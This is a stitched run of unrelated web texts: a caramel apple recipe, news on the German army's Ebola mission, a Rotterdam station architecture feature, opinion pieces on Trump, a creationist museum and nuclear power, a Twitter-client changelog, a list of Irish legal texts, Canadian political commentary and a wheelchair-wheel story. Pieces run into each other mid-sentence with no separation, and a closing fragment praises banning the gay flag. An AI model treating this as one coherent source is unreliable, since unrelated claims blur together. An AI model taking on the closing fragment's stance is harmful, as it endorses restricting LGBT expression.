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arine
2 teaspoons cornstarch
3/4 cup corn syrup
1 cup sugar
1 teaspoon vanilla extract
10 wooden sticks
baking sheet and aluminum foil
non-stick cooking spray
bowl of ice water
you’ll also need a candy thermometer
directions:
Setting up: Insert a stick into each apple. Line baking sheet with aluminum foil and spray with non-stick cooking spray. In a medium-sized bowl, whisk together the soy milk, 1/4 cup margarine (melted), and cornstarch. fit a large, heavy saucepan with the thermometer. Over a medium-low heat, cook 3/4 of the above mixture with the remaining 1/2 cup margarine, corn syrup, and sugar to 280 degrees. You only need to stir once or twice. Quickly remove pan from heat and dip the bottom of the pan in the ice water. This stops the cooking process. Stir in the remaining 1/4 cup of the soy milk/cornstarch/margarine mixture, plus the vanilla extract. Allow caramel to cool for another minute. It will thicken. One at a time, dip and turn the apples in the caramel, letting any excess simply drip off; dip the bottom of each aple in the chopped peanuts before placing each on the baking sheet lined with aluminum foil. Once all apples have been dipped, place in refrigerator and allow to cool for at least 10 minutes before serving.
Related posts:Although the Bundeswehr (German army) said they treated people with Ebola-like symptoms, they also acknowledged that analyses of blood tests revealed that "no patients tested positive for Ebola", a spokesperson for the Bundeswehr told Bild newspaper.
This was a rather embarrassing admission, given the cost of the mission. And it seems it is one the German Defence Ministry has tried to hide.
Green Party MP Omid Nouripour had asked twice about the number of Ebola cases the army treated - and twice they denied having specific numbers.
The fight against Ebola was a "unique cooperative effort between the German military and the German Red Cross" read one answer. But "a differentiation of who treated whom was not undertaken," it continued.
"It is pretty bizarre that the ministry falsely told the parliament on more than one occasion that it didn't have the numbers,“ Nouripour told Bild. "What do they want to hide?“
The army's mission in Liberia in cooperation with the Red Cross began in November 2014 and ended at the beginning of March 2015. Fundamental to this operation was the air transport provided by the military, which brought emergency supplies to the west African country.
Liberia was classified as Ebola-free by the World Health Organisation in March this year.
Almost 11,300 people have died in Liberia, Sierra Leone and Guinea since 2013 in the most serious Ebola outbreak ever to hit Africa.
Liberia, where almost 5,000 people died, was worst hit by the epidemic.rotterdam centraal station redeveloped by team CS
rotterdam centraal station redeveloped by team CS
photo by jannes linders
all images courtesy of team CS
‘rotterdam centraal station’ has been redeveloped to represent the transportation hub’s important role not only within the city, but also as part of the european train network. the project, a unique collaboration by benthem crouwel architects, MVSA architects and west 8, accommodates 110,000 passengers per day and has been designed to cater for up to 323,000 daily travelers by 2025.
the wooden finish of the roof and the granite stone floor ensure a welcoming station concourse
photo by jannes linders
located between a residential area to the north, and the city center to the south, the new building attempts to integrate fully within its dual environment. the transparent hall at the north of the site matches the restrained character of its late 19th century surroundings, making a modest impression, while to the south, a sense of grandeur and arrival is created through an eye-catching roof structure. additionally, an adjoining concourse area directly links the terminal with trams departing outside, as well as with connecting metro lines.
the brightly lit station hall guides travelers inside
photo by jannes linders
in order to form a connection with ‘rotterdam centraal’s’ past, elements from the former construction, built in 1957, are incorporated within the design. two sculptures cast from the previously existing granite structure sit above the entrance to a vehicle storage facility with room for 750 cars and 5,200 bicycles. additionally, the original sign and station clock are featured as part of the new southern façade.
the station is flooded with natural light
photo by jannes linders
environmental sustainability has also been considered with 130,000 solar cells, positioned across 10,000 sqm of the 28,000 sqm roof, (one of the largest solar rooftop projects in europe), reducing the building’s carbon dioxide emissions by 8%.
two sculptures cast from the original granite structure sit above the entrance to a vehicle storage facility
photo by jannes linders
the station’s former sign and clock are proudly displayed on the southern façade
photo by jannes linders
the roof of the entrance hall is clad with stainless steel
photo by jannes linders
the original sign and clock provide a tangible link to the station's past
photo by jannes linders
the modest and restrained northern façade of the design
photo by jannes linders
the inviting and welcoming station concourse
photo by jannes linders
skylights provide diffused natural daylight
photo by jannes linders
passengers are guided by clear signage and a direct view of trains
photo by jannes linders
(left) the glazed roof to the north of the site
(right) escalators take passengers to the newly renovated platforms
photos by jannes linders
the 250 meter roof structure spanning all of the rail lines
photo by jannes linders
the roof's glass plates vary the amount of light transmitted
photo by jannes linders
'speculaasjes' a granite sculpture created from the walls of the former building
photo by jannes linders
the new building within the existing urban landscape
photo by skeyes aerial photography
roof plan
floor plan level -1/0
floor plan level +1
site plan
section
section
visual demonstrating the program of spaces
project info:
location: stationsplein 1, 3013 AJ rotterdam, the netherlands
client: gemeente rotterdam and prorail
team CS: a cooperation between benthem crouwel architects, MVSA meyer en van schooten architecten and west 8
gross floor area: 46,000 sqm (495,140 sqf)
completed: 2013
lead architects: jan benthem, marcel blom, adriaan geuze, jeroen van schooten
project team: arman akdogan, anja blechen, freek boerwinkel, amir farokhian, joost koningen, joost van noort, falk schneeman, daphne schuit, matthijs smit, andrew tang, wouter thijssen and joost vos
structural engineer: arcadis and gemeentewerken rotterdam
mechanical services: arcadis and gemeentewerken rotterdam
building physics: arcadis and gemeentewerken rotterdam
contractor: bouwcombinatie TBI rotterdam centraal (BTRC), iemants NV (zuidhal)
photography: jannes lindersAhead of US president Donald Trump’s inauguration, there was plenty of handwringing about the potential long-term impact the oft-bankrupt reality show star and political neophyte would have on the US’s democratic systems and the global image of the world’s largest economy.
It’s been less than two months, and things may already be worse than expected. The Trump administration appears to be systematically shredding whatever moral high ground the US may have had, including the notion that the US is committed to fighting corruption and protecting global human rights.
Let’s just look at what happened on Monday (March 13).
First, a deal. Trump’s son-in-law Jared Kushner’s vaguely defined position at the White House appears to include big footing US secretary of state Rex Tillerson by taking meetings, for example, with Mexico’s foreign minster that Tillerson isn’t invited to.
When he joined the White House, Kushner parked his ownership stake in 666 Fifth Avenue—a luxury building in Manhattan—in a trust managed by his mother, Seryl Beth Kushner. That trust could soon be $400 million richer, Bloomberg reported on Monday, thanks to what’s been called a “sweetheart deal” with Chinese Communist Party-linked firm Anbang Insurance Group, that excuses a mountain of debt while valuing the stake aggressively.
The deal may also tie the White House to China’s oppressive authoritarian dictatorship.
Anbang’s chairman, Wu Xiaohui, was the husband of the granddaughter of Deng Xiaoping, China’s top leader in the 1980s and 1990s. Chen Xiaolu, the son of a prominent People’s Liberation Army official, sat on the company’s board of directors when it was founded in 2004. At the very least, Anbang’s complicated shareholding structure makes it impossible to know exactly who the Kushners’ new partners may be.
The deal also leaves the impression that the Kushners are profiting from their proximity to the White House, and raises questions about what the Trump administration may owe Anbang, and potentially the Communist Party, in return. Jared Kushner reportedly met with Wu a week after the US election to discuss the deal over $2,100 bottles of wine.
“Obviously the fact that Jared Kushner is a Trump insider certainly makes it even more appealing to Anbang as a way of generally trying to curry favor with the Trump Administration,” says a former member of US president George W. Bush’s National Security Council, who focused on Asia while serving on the council.
The whole thing makes the US Securities and Exchange Commission’s recent crackdown on US companies’ hires of Chinese “princelings,” the sons and daughters of connected Communist Party officials, seem like part of a very different and now somewhat laughable era. The SEC actions levied huge fines on companies that had hired inexperienced hands in low-level positions to win Chinese government business.
In the Anbang deal, the mother of the US president’s son-in-law stands to make millions.
That’s not all. Foreign Policy reported on March 13 that the White House plans to reduce by 50% its contributions to the United Nations, pulling billions of dollars away from funding of global endeavors ranging from peacekeeping to vaccinations to caring for refugees. And a US government agency said the same day that a Trump-backed bill to replace his predecessor’s landmark health care act would leave 24 million uninsured, while raising premiums by 15%.
Meanwhile, asked for Trump’s reaction to US congressman Steve King’s recent racist remarks, White House press secretary Sean Spicer said he’d have to “get back to” reporters after checking with the president—leaving the impression that Trump doesn’t denounce them outright. And Canada’s “Girl Guides,” the female scouting group, said it would suspend all field trips to the US, out of concern that some members might be stopped by US immigration.
In the wake of Trump’s draconian immigration crackdown, constitutionally questionable travel ban, ongoing business conflicts, frequent lies, and wealthy, anti-government cabinet, today’s events are just par for the course. But they’re a clear reminder of just how much things have changed in America in less than two months.
Correction: an earlier version of this article misstated the increase in insurance premiums as 24% instead of 15%.The San Diego Museum Council is a coalition of local museums that work together to “increase awareness of and attendance at the diverse museums in the region.” The coalition includes the likes of the La Jolla Historical Society, Lux Art Institute, and the San Diego Air and Space.
And they were thisclose to bringing the Museum of Creation and Earth — a pro-Creationism “museum” — into the mix.
There are so many problems with this story:
1) The Museum of Creation and Earth needed 21 votes to be admitted to the Council… they got 19. Which is 19 more than it should have received.
2) The reason given by the president of the Council for why the Museum of Creation and Earth was rejected had nothing to do with Creationism:
Danielle Susalla Deery is president of the San Diego Museum Council. She said the museum’s membership was not rejected because of its mission but because of other factors. “Like their animal care and the protocol and care of their exhibitions and storage. They had a lot of areas that were not in line with membership guidelines. They have a staff member on the board of directors and that’s not good governance,” Deery said.
What about the fact that it spreads lies?! How is that not a factor into the decision-making here?!
3) The Museum of Creation and Earth’s president Tom Cantor assumes this is because of anti-theist bigotry:
we are being opposed for nothing more than the old prejudice against God,” Cantor said.
No! You should’ve been voted down because museums are supposed to document reality and history — and Creation Museums exhibit neither!
4) Cantor went even further, comparing his fight to that of the great civil rights leaders:
“It’s like we’re in Selma, Alabama in the 1950s and I want to have a museum on black Americans,” he said. “Do you think I’ll be accepted by the council of museums in Selma, Alabama?”
No! It’s like you’re in Selma, Alabama in the 1950s and you want to have a museum dedicated to the idea that racism is a lie! (You know what? Just stay away from Selma. Your grandiose analogies aren’t helping your case at all.)
5) The Museum of Creation and Earth says it’ll just re-apply for membership next year. Because there’s still a chance it could be admitted!
…
There’s a simple reason allowing the Museum of Creation and Earth to join the Council would be disastrous: It would devalue all the other museums in the bunch. A building that showcases Young Earth Creationism isn’t worthy of respect. It’s a building dedicated to promoting a fairy tale. It’s a museum whose mission contradicts that of the other museums in the Council. It wouldn’t be anti-Christian to reject it; in fact, doing so would be pro-education.
It’s a museum that needs to be rejected simply for the bullshit ideas it tries to propagate. The San Diego Museum Council, if it wants to have any authority at all, shouldn’t even be considering this place’s inclusion. Yet, last week, it was two votes away from becoming obsolete, a relic of its own making.
(Thanks to Masada for the link)NAACP president Benjamin Jealous writes for CNN that the Republican Party should take a cue from Kentucky Sen. Rand Paul and address the inequities of mass incarceration. A recent survey of 1,600 African-American voters indicates an opportunity for the GOP to begin to heal the rift with the African-American community by meaningfully taking on criminal justice reform and demonstrating a sincere commitment to civil liberties.
Jealous notes that Paul received applause while speaking to a crowd at Howard University, one of the nation’s historically black colleges, when Paul contended: “We should not have drug laws or a court system that disproportionally punishes the black community.” Jealous suggests taking on the issue of criminal justice reform is “one issue where the GOP can connect with black voters.” Data from the NAACP survey provides empirical support.
First, it’s important to note the data indicate 55 percent of African-Americans don’t think the Republican Party cares at all about civil rights and equality, 32 percent think Republicans just say what minorities want to hear, whereas only 7 percent think Republicans are sincerely working hard to address civil rights and equality. In stark contrast, 71 percent of African-Americans think Democrats are working hard to promote equality and civil rights, only 18 percent think it’s just rhetoric, and only 2 percent think the Democrats don't care at all.
Likewise, about three-fourths of African-Americans view Democrats as working hard on issues of poverty, public education, health care, and job opportunities. Democrats score higher than Republicans by margins of about 60 points on these issues. However, only 30 percent of African-Americans think Democrats are “working hard to reduce mass incarceration.” Although Republicans don’t score much better (only 6 percent) there is only a 24 point differential.
Jealous points out:
As Paul demonstrated, mass incarceration is also a fundamental conservative issue. State spending on prisons has tripled over the last 30 years, reaching $70 billion in 2008. Federal prisons are at 139% capacity, often thanks to harsh mandatory minimum sentences. And who pays for all these guards, beds and three square meals a day? Taxpayers. In fact, some red states have led the way on criminal justice reform. In Georgia, South Carolina and Texas, Republican legislatures have teamed up with progressives to increase options for parole and reduce mandatory minimums. In Texas, the NAACP and progressive activists worked with leaders of the Tea Party to pass a dozen reform measures. Last year, Texas scheduled the first prison closure in state history. Rand Paul is not the first national Republican leader to speak up, either. Newt Gingrich and Jeb Bush are both members of the conservative think tank Right on Crime. And in 2011, Gingrich joined Grover Norquist and other unlikely allies - including Mike Jiminez, the president of California's prison guard union -- to endorse the NAACP's report, Misplaced Priorities: Over Incarcerate, Under Educate. The report revealed how the rise in prison spending has caused states to spend less on education. These alliances should draw the attention of Republican leaders. Many Democrats shy away from talking about criminal justice reform, for fear of being labeled "soft on crime."
The NAACP report finds that African-Americans are considerably less enthusiastic about the Democrats in 2016 than they were in 2012. The survey also found that about 14 percent of African-Americans would be more likely to vote for a Republican who took a stand for civil rights and equality. Although this share may seem small, the African-American vote for President Obama exceeded his margin of victory in several key battleground states like Florida, Ohio, and Virginia, demonstrating that margins matter.
But most importantly, if one is not just concerned with winning votes but cares about people and cares about the ideas that improve people’s lives, then it makes perfect sense to take on these issues with a moral imperative.Run the TalkingPuffin Web app, which has great features for analyzing users.
TalkingPuffin is a powerful, open source, desktop Twitter client from Dave Briccetti ( @dcbriccetti ) and others. It’s written in Scala and runs on the Java platform.
News
Jan 7, 2013
Mar 18, 2011
Integration with TalkingPuffin Web (Shift-A to analyze user)
Many improvements to TalkingPuffin web Version 1.1.0
Mar 14, 2011
Dave Briccetti shows TalkingPuffin Web, including source code, at Bay Area Scala Enthusiasts. Recording
Mar 6, 2011
Version 1.0
Mar 5, 2011
Experimental Web app gets new features, including word frequency analysis
Mar 1, 2011
Experimental Web app available
Feb 21, 2011
Tabbed pane UI from version 0.77 restored
Browse links in tweets in the people pane Version 1.0 Release Candidate 1
Feb 20, 2011
Fixed error preventing startup on first use
Misc. fixes and changes. See commit history for details. Version 0.80e (Development version)
Feb 16, 2011
Version 0.80d (Development version) New features: Show user timelines of any user(s) selected in the status or people panes Features working again: Show all unseen tweets (up to ≈800)
Rate limit status display
Save credentials for multiple users
Feb 12, 2011
Version 0.80c (Development version) Features working again: All friends and followers are fetched
Twitter authorization is retained between runs
Feb 7, 2011
Version 0.80b (Development version) The conversion to the new Twitter API layer is mostly finished. Some missing pieces: Lists
Direct Messages
Twitter authorization is not retained between runs
Feb 6, 2011
Dave Briccetti begins replacing the internal Twitter API layer with Twitter4J, to get OAuth support and other recent features.
Jan 11, 2010
Dec 26, 2009
Status messages for (un)follow, (un)block, spam
Fix problems displaying the big version of user pictures
Send and display multiline tweets Version 0.79b (Development version)
Dec 11
Show the screen name of the user who is retweeting Version 0.79a (Development version)
Nov 19
Dave Briccetti presents the client at Twitter Meetup
Nov 16
Find users on Twitter
Experimental new arrangement of multiple views (do you like it better?)
Enlarged and separate detail panel
Tweets appear only in one view
Show the tweet streams of lists
Receive data from Twitter compressed, for better performance and reduced network use Version 0.78 (Development version)
Nov 9
Support for users with large numbers of following/followers
New retweet views Version 0.77
Nov 7
Nov 5
Tags/Lists Improved display and selection of tags Allowing providing a description when creating a new tag, to be used with the new descriptions on Twitter lists Display the lists the user (or any person) owns or is on
People Pane Details panel on the people pane Many more menu items on the people pane
Noise Allow muting “commented retweets,” such as Me too! RT @noisy I like noise!
Version 0.76
Nov 1
Version 0.75, with improved filtering features ( Screencast
Oct 29
Version 0.74
Oct 21
Blog post about Lists support
Oct 20
Version 0.73
Oct 18
Version 0.72, with some support for Twitter Lists
Oct 15
Version 0.71
Oct 3
Dave Briccetti presents the client at Silicon Valley Code Camp
Oct 2
Version 0.70
Sep 5
New video of Dave Briccetti adding a “suppress non-followers” feature
Aug 26
Dave Briccetti presents the client at Version 0.69Dave Briccetti presents the client at Twitter Meetup
July 18
Version 0.68
July 17
Version 0.67
June 12
Version 0.66
May 21
Mentioned on The Java Posse podcast
May 20
Dave Briccetti presents the Scala code at the eBig Java Sig
May 19
Version 0.65
May 9
Discussion group created for developers and users
May 4
Version 0.64
Apr 23
Simple Twitter Client now called TalkingPuffin ( blog post
Apr 21
Dave Briccetti presents briefly at Silicon Valley Web Jug
Apr 10
Part of TalkingPuffin deployed on Google App Engine ( blog post
Mar 24
Version 0.51
Mar 10
Version 0.4 Dave Briccetti presents the client at Bay Area Scala Enthusiasts at Twitter HeadquartersVersion 0.4
Mar 3
Dave Briccetti presents the client —in very early form—at the Java Posse Roundup
Two friendly Norwegians join team at the Java Posse Roundup ( blog post
Feb 22
Feb 17, 2009By Narayan Subramanian, Fellow at the Clean Energy Leadership Institute
Environmentalists and their critics often struggle to find common ground, but the one issue they agree on is their resistance to nuclear energy. Nuclear energy in the United States has invoked knee-jerk opposition since the Three Mile Island crisis in 1979 – a nuclear reactor meltdown that took over a decade and $1 billion to clean up. Since the accident, not a single new nuclear power plant has been built in the United States. Just as the political appetite for nuclear energy was improving, the Fukushima accident in 2011 brought renewed skepticism to the energy source. While the dangers of nuclear power are unequivocal, its ability – as part of the fuel mix – to provide base load power and meet carbon emission targets has largely been left out of the national conversation. If we are to successfully limit global temperature rise to two degrees Celsius to stave off the worst effects of climate change, nuclear power may be our best bet.
The benefits of nuclear power are unmistakable. A recent article in The Economist showed that aside from the Montreal Protocol and hydropower, nuclear power can be credited with playing the biggest role in reducing global greenhouse gas emissions. On an annual basis, up to 2.2 billion tons of CO 2 equivalent emissions are averted by the use of nuclear power. This is not to mention the fact that aside from its negligible greenhouse gas emissions, nuclear power also produces virtually no particulates, volatile organic compounds (VOCs), and gases such as sulfur dioxide that pose acute health effects.
Current U.S. sources of energy are broken down as such: 66% fossil fuels (39% coal, 27% natural gas), 19% nuclear, and 13% renewables (notably, solar at 0.23% and wind at 4.13%). Natural gas is expected to supplant coal as the dominant energy source, but at best, it is a transition fuel that has no place in our low-carbon future. A recent Stanford and UC Irvine study concluded that natural gas would ultimately do little to reduce emissions. Most environmentalists thus tout solar and wind as the panacea for our carbon woes.
Wind and solar energy no doubt must be part of the long-term solution to reduce greenhouse gas emissions, but in the meantime there are two major impediments to their deployment: reliability and scale. Solar power is inherently limited by the amount of daylight in a given day and wind power is similarly constrained by the intermittency of the wind. Without robust storage technology, these energy sources must be supplemented with other forms of energy (as they are right now with coal and natural gas) during times when their production is low. Unfortunately, the cost of energy storage technology is still too high to be paired with renewable energy sources. With regard to scale, only coal, natural gas, and nuclear can provide base load capacity for the grid. Unlike solar, wind, and other clean energy sources, nuclear technology is already tested, proven, and scalable. Take France, for example, where over 70% of the energy is supplied by nuclear power.
So why the fierce opposition to nuclear? It is quite simply an opposition guided by visceral fear more than anything else. As disastrous as the Fukushima nuclear reactor meltdown was, it is important to note that this would not have occurred if modern technology had been used. The Fukushima reactors required an active cooling device, which was interrupted by the tsunami that had hit. Modern reactors do not require active cooling. Furthermore, the Fukushima disaster was also the result of failed safety procedures. The backup diesel generator units were supposed to supply auxiliary power to the cooling device, but failed to do so. This would have prevented the reactor meltdown.
The conversation must transition from a debate over the merits of nuclear to one that aggressively demands the highest safety protocols to avoid catastrophe. This conversation also needs to address the question of nuclear waste storage. At the end of it all, we’re faced with a simple cost-benefit analysis: do we lose our best chance of tackling climate change or do we adopt an energy source that can meet our immediate needs while pushing us towards a low-carbon future? The choice is clear to me.Irish Literature
Manuscripts
Mythological | Ulster | Fenian |
Kings | Immrama | Miscellania & Adaptations
Law | Wisdom | Poetry
Annals and Histories | Genealogies
Manuscripts
The Mythological Cycle
The Ulster Cycle
Fiannaidheacht: The Fenian Cycle
The Cycle of the Kings, or, the Historical Cycle
Immrama: Voyages
Miscellaneous Tales
The Mogh Ruith/Tlachtga Cycle
Medieval Story Collections
Foreign Tales and Adaptations
Legal Texts
Based on Ancient Laws of Ireland and Corpus Iuris Hibernici.
Adeirim nach dein eisinraic
Aderim gurab uaisle an comarba saorda
Advice to Doidin
Aer Tract
Antéchtae Breth
Archaic legal poem
Ata fasta 7 taithmech
Ataim da foillsiugh
Ataim da radh gurab.uii. cumala coirpdiri
Bal beg dh’fastad breithe
Bechbretha
Berrad Airechta
Bóslechtae
Bésgnae Ráithe
Bóshlechta Cow-sections
Breth gin dilsi gin arach
Bretha Cairdi
Bretha Cairdu
Bretha Comaithchesa The Judgements of Neighbourhood
Bretha Crédine The Judgements of Crédine
Bretha Crólige The Judgements of Blood-Lying
Bretha Déin Chécht The Judgements of Dian Cecht
Bretha Étgid The Judgements of Inadvertence
Bretha for Catslechtaib
Bretha for Conslechtaib
Bretha for Macslechtaib
Bretha for Techt Medbae The Judgement of the House of Medb
Bretha Forloiscthe The Judgements of Arsons
Bretha Forma The Judgements of Trapping
Bretha im Fuillemu Gell The Judgements about pledge-interests
Bretha Goibnenn The Judgements of Goibniu
Bretha Im Gata The Judgements about thefts
Bretha Luchtaine The Judgements of Luchtaine
Bretha Nemed Toísech The First Judgement of Nemed
Bretha Nemed Dédenach The Second Judgement of Nemed
Bretha Sen Forma The Judgements Relating To Nets For Trapping
Briathar Cath Nam-Ban
Cáin Aicillne The Law of Base Clientship
Cáin Airlicthe The Law of Airliciud
Cáin Dar Í The Law of Dar Í
Cáin Domnaig The Law of Sunday
Cáin Eimíne Báin The Law of Eimíne
Cáin Fhuithirbe The Regulation of Fuithirbe
Cáin Íarraith The Law of the fosterage fee
Cáin Ona Law of Ón
Cáin Phátraic The law of Patrick
Cáin Sóerraith The law of free fief
Ceart Uí Neill The Rights of the O'Neills
Cethairslicht Athgabálae
Cidh mor d’inndliged dogne duine
Cinta tugaiti
Coibnes Uisci Thairidne
Cóic Conara Fugill
Coirpri dixit fri Cormac
Comair nuinge isin mbanbeim
Cormac ua Cuinn dixit
Córus Aithni The Regulation Of Deposit
Córus Bésgnai The Regulation Of Proper Behaviour
Córus Fiadnuise The Regulation Of Evidence
Córus Fine The Regulation Of The Kin-Group
Córus Iubaile The Regulation Of Periods Of Immunity
D’fasta
D’imfulung feicheman toicheda
De deiligudh gotha
De Druthbrethaib On Judgements Relating To Idiots
Di Astud Chirt 7 Dligid On The Confirmation Of Right And Law
Di Astud Chor On The Binding Of Contracts
Di Brethaib Gaire
Di Chetharshlicht Athgabála On The Four Divisions Of Distraint
Di Choimét Dligthech
Di Dligiud Raith 7 Somaíne la Flaith On The Law Relating To The Fief And Profit Of A Lord
Di Fodlaib Cenéoil Túaithe (Fodla Fine)
Di Gnímaib Gall On The Actions Of Hostages
Di Thúaslucud Rudrad
Dia Fis Cía Is Breitheamh I Ngach Cúis To Find Out Who Is A Judge For Every Case
Dia fios cinnus icthar na feich
Díguin Tract
Dilsiugh beg eir rat
Díre Tract
Díre Tract & Bandíre Tract
Dober dres eir fasta rudharta
Do[n] aos fiachach
Do brethemhnus forna ceithre finibh 7 do roinn in dobaid etarru
Do breitheamhnus for finibh isle
Do breitheamhnas for ghellaibh On Judgement About Pledges
Do breitheamhnus for na huile chín doní gach cintach On Judgement On Every Crime Which An Offender Commits
Do breitheamhnus forna comorbaib
Do Brethaib Gaire On Judgements Of Maintenance
Do cinta tucaite
Do cointugud fir tháircthe
Do dhícur aicnid
Do druthaib 7 meraib 7 dasachtaibh On Idiots, Insane Persons And Lunatics
Do eircib fola 7 bainbeimenna 7 fodhlaib einech
Do dhilsiugh gac aoin ina míghnímhaibh
Do fasta breithe co leicc
Do fasta fiadnaise
Do fastad tuinidhe
Do fortach fiadnaise
Do neamciontugud aosa taircthe
Do neamhfastad breithe
Do neimhaosa tairce
Do nós dligthech 7 indligthech
Do ruidilse tobaig cach besgna
Do slaintiugh comhlaithre
Do tabairt ileneclainne do nech
Do tabairt mic i norba
Do tabarta ada dilsi 7 ada indilsi
Do taithmech breithe túata
Do thaithmech tuinidi
Do tiachtain fó choraib
Do tosac caingne
Do Tuaslucad Cundrad On The Dissolution Of Contracts
Do Tuaslucud Rudradh On The Dissolution Of Prescriptions
Don fuillem fil o dliged laisna fiachaibh
Don toichid is dír do tabairt for chintac graidh flatha
Dona rathaibh
Dond d’fagbail a comocus
Doní ant imat dligthech
Doni berar.7. cumala
Doni dliges nech do denadh
Doni dlighus gac fer fíne
Doni dligus nech fortach
Doni is coir díthech dontí fora líther
Doni is coir don rathaib
Doni is comuasal gac duine
Doni is dlighti do nech
Doni is dilis in rath
Doni is fine do neoch
Doni is sruithem cor cétcor
Doni na tabarr logh
Doní is taithmechta
Doni na fuil imdenamh a fatha
Doni na fuil ní do cennaib
Doní na tiagait anntesta acht do cranncor
Doni na teit in ferann a rudhru
Doni nach agarrta
Doni nach coir aimles do techt
Doni nach diles somaine
Doni nach dlighinn cairrtech
Doni nach dliginn nech
Doní nach eitir cuis na tuaithi
Doni nach millenn
Doni rethes fuillem 7 fiach
Doni teit indeman a breithe
Doni tét in ferann a cionta
Doni nac taithminn nech
Doní nach dliginn nech
Doní saorus in breithemh
Donni nach eitir cuis
Duil Droma Ceta
Dúilchinni
Eisceaptaighi Uithir
Fidbretha Tree-Judgements
Finebretha Kin-Judgements
Fine neth
Fodla Fine Types Of Kin (Or Kinsman)
Fodla Tire
Fotha bec
Fotha mor
Fuidir Tract
Fuithribe Cormaic
Gac duine ina cion
Gibé minna dober-sa
Gúbretha Caratniad
Immathchor nAilella 7 Airt
Injury Tract
Is iat screbail deolaid
Is dligthige do neoch
Isí mo cetfaid na fuil
Judgement of 1561
Legal poem
Mellbretha Sport Judgements
Míadslechtae Rank Sections
Molaim dona ratha
Mruigrecht Land-Law
Muirbretha Sea-Judgements
Na hagra duine
Nach dlegar aos taircthe
Ni dogniter ar daingin maithisa
Ni fuil a ndligi ar bith
Ni tabar geall
Ni taithminn nech
Ni tig dligi cion
O’Davoren’s Glossary O’Davoren’s Glossary
Osbretha Deer-Judgements
Ré condamhna na sét
Recholl Breth
Rethoric text about Cormac, Fachtna and Sogen
Rethus fuillem 7 fiach
Ríagail Phátraic Rule of St. Patrick, The
Rule of St. Columba
Rule of St. Columbanus
Rith Na Cánnan The Extent Of The Laws
Sárughadh Violation [Of Protection, Asylum, Sanctuary |
is a freeflow of people between the federal and provincial wings of the same party.
Go to a provincial event, and you're likely to see a federal politician speaking.
Go to a federal event, and the audience includes lots of provincial politicians.
Unless your name is Danny Williams, the provincial and federal wings of the same party never criticize each other in public.
In this election, we can expect to see provincial MLAs stumping for their party's federal candidate. They've already been doing it.
Voters with a beef will have no patience for an MLA saying, "Sorry, but today I'm here on behalf of the federal party".
I learned this lesson the hard way during the 2011 federal election. We were in government, and I was knocking on doors in my own constituency with the federal NDP candidate.
One man was right some mad about the Yarmouth ferry. He had me on his doorstep, and that's what he wanted to talk about. And for that reason alone — something that was entirely the doing of the provincial NDP — he wasn't voting for the federal NDP.
Hugging and pushing
None of this is news to the parties. They know most voters don't draw sharp distinctions between federal and provincial parties.
So they double down, and actually try to take advantage of the confusion.
If their provincial cousins are popular, the federal candidates will hug them close.
If their provincial cousins are unpopular, the federal candidates will push them away.
That dynamic may be different in different regions of the province.
In Nova Scotia, each of the three major parties has been in government in the last ten years. There is no other province where that is true.
So each federal candidate has provincial brickbats they can throw at their opponents. Expect to see lots of it, especially in non-incumbent seats. The facts won't matter. This is politics.
In Ontario, which is much more of an electoral prize than Nova Scotia, the Conservative Party of Canada is definitely lumping together the provincial Liberals and the federal Liberals.
The Conservatives do nothing without market-testing it first, so expect this attack to have traction.
In response, Ontario premier Kathleen Wynne has already made clear that she wants the Harper government out, and will be campaigning with federal Liberal candidates.
No risk of controversy
The biggest impact of the federal campaign on provincial politics will be what is not done.
The McNeil government won't risk doing anything even slightly controversial until the federal ballots are cast and counted.
The Dexter government did the same during the 2011 federal election, and presumably the PC government did the same during the 2006 and 2008 federal elections.
Sometimes this tendency can go too far. I remember in April 2011 wanting to release a discussion paper on auto insurance, but I was told to hold it until the federal election was over in early May. I couldn't see what possible connection it could have, but caution was the word. The paper was held for a few weeks, and released the day after the election.
I expect the McNeil government will be similarly cautious. So expect a pent-up torrent of announcements, studies and freedom of information answers starting on October 20th.
Until then, the forecast from the McNeil government will be all political sunshine.(CNN) -- According to popular wisdom, attempting to reinvent the wheel is the ultimate in design folly. But this didn't stop object designer Duncan Fitzsimmons from giving it a go.
When he sat down at his desk to begin work on the Morph Wheel, Fitzsimmons took on the design challenge -- and the results might just turn out to be revolutionary. In both senses of the word.
The Morph is a detachable wheelchair wheel that can compress to around half of its original width. It is designed to provide greater flexibility and mobility to the estimated 65 million people around the world who need a wheelchair.
The folding wheel was originally created as a folding bicycle wheel by Fitzsimmons when he was a graduate student at the Royal College of Arts in London. But calls from the wheelchair community suggested to him that the design would possibly be more useful to wheelchair users.
Read: The origami kayak and 9 other great folding vehicles
"When people say 'is this reinventing the wheel?', that's a phrase that everyone knows," Fitzsimmons says, "but it's really redesigning the wheel to make it just a little bit better. That's really what you're trying to do when you're designing any product."
The main advantage of the Morph, the designer says, is that it can fit into small spaces, allowing wheelchair users greater flexibility when traveling by car, train or airplane.
"This project started out by looking at the problems caused by large wheels if you're looking at folding bicycles, or the space needed for a folding wheelchair," says Fitzsimmons.
"Having a small wheel or a large wheel dictates the entire design of the wheelchair and what you can do with it. If you can fold a big wheel up into a smaller space, then suddenly for the first time you can get the best of both worlds. You can have a wheelchair that has all the advantages of having a large wheel, but can also be stored into a much smaller space."
Read: Earthquake-proof table uses geometry to save lives
David Constantine co-founder of Motivation, a charity that aims to help people with mobility impairments, says that in his view the Morph wheel could be useful in both developed countries and the developing world.
"I can see all kinds of uses for this," says Constantine, "certainly in the context of the US and more developed countries... car boots, airplane lockers, any sort of small space you might want to pack a small chair into.
"Not everybody uses a chair every day, so if it has got quick-release wheels and you fold the chair up and you fold these down flat storage is easy for people who don't use a wheelchair all the time.
"In the context I work in developing countries, if it's low-cost enough, people often live in one room with the whole families, so they often want a folding wheelchair just to keep it out of the way when they're either in bed or sat on the floor cooking, and so again, something that packs down as small as this would be extremely useful."
The Morph wheel has received awards around the world, including the transport category at the London Design Museum design of the year awards 2013, and the 2013 Popular Science Best of What's New award in the Health category.
Morph Wheels are available online from Maddak.
Andrew Stewart and Matthew Ponsford contributed to this articleBy Theodore Shoebat
The mayor of Moscow has vowed to push for a ban on the gay flag, and God bless him for this. According to one Russian report:
